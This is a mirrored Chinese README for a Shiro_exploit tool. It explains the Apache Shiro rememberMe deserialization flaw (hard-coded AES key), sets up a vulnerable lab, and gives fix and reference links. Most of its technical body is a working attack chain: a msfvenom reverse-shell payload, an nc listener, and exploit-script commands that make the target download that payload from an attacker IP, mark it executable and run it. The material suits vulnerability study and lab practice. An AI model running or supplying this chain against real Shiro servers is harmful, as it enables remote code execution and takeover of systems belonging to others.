Giter Club home page Giter Club logo

shiro_exploit's Introduction

Apache Shiro Java 反序列化漏洞分析及利用

0x00 项目地址

https://github.com/HexChristmas/Shiro_exploit

0x01 概述

这两天被派去护网&重保,态势感知报了一条冰蝎的远程代码执行的告警,在通过告警日志以及webshell及相关信息,红队大概是通过shiro反序列化拿到主机权限,之前一大佬还特别分享过shiro反序列化漏洞,还没来及研究就碰上了,�正好这个机会研究分析一波,

shiro用remembreme这个cookie对用户进行鉴权,防止出现越权问题,它使用CookieRemembreMeManager这个类,对remebremecookie的key使用ObjectInputStream类进行序列化,然后对字符流进行用aes加密方式对其进行base64编码,然后返回客户端remebremeCookie,这其实是有问题的,shiro把其实aes的密钥硬编码在代码里类,我们可以通过ysoserial这个的CommonsCollections2这个方法来调试代码发现aes加密的密钥进行对其解密解密,我们解密之后就可以生成并返回带有远程代码执行的remebremeCookie进而反弹shell

0x02 漏洞环境

方法一:Docker环境搭建

这里可以直接pull大佬们做好的docker的漏洞环境

docker pull medicean/vulapps:s_shiro_1

将docker漏洞环境的8080端口映射到本机的80端口

docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

方法二:Linux虚拟机或者VPS搭建tomcat及shiro环境

java环境啥的鸟都带了 直接去tomcat官网去下载二进制包,不用百度了,这里直接给你百度完了,点击我进行跳转,Run! 或者你直接可以

sudo wget http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz /usr/share

然后直接解压

sudo tar zxvf apache-tomcat-8.5.43..tar.gz
/usr/share/apache-tomcat-8.5.43/bin/startup.sh

我们现在只需把shiro包放到webapps下即可

sudo cp shiro.war /usr/share/apache-tomcat-8.5.43/webapps

然后访问

localhost:8080/Shiro

shiro

能看到这个就说明你已经启动成功了

0x02 漏洞利用

用msfvenom生成payload用于反弹shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=2333 elf >  payload

msfvenom

nc监听2333端口

nc -lvvp 2333

使用shiro的脚本进行远程代码执行漏洞利用

python shiro_exploit.py "http://127.0.0.1:81" "wget -p /tmp/ http://172.18.24.35/payload"
python shiro_exploit.py "http://127.0.0.1:81" "chmod +x /tmp/payload"
python shiro_exploit.py "http://127.0.0.1:81" "/tmp/payload"
"

exploit

0x03 漏洞修复

升级 Shiro 版本至 1.2.5 以上

0x4 参考文档

https://issues.apache.org/jira/browse/SHIRO-550

https://www.seebug.org/vuldb/ssvid-92180

shiro_exploit's People

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.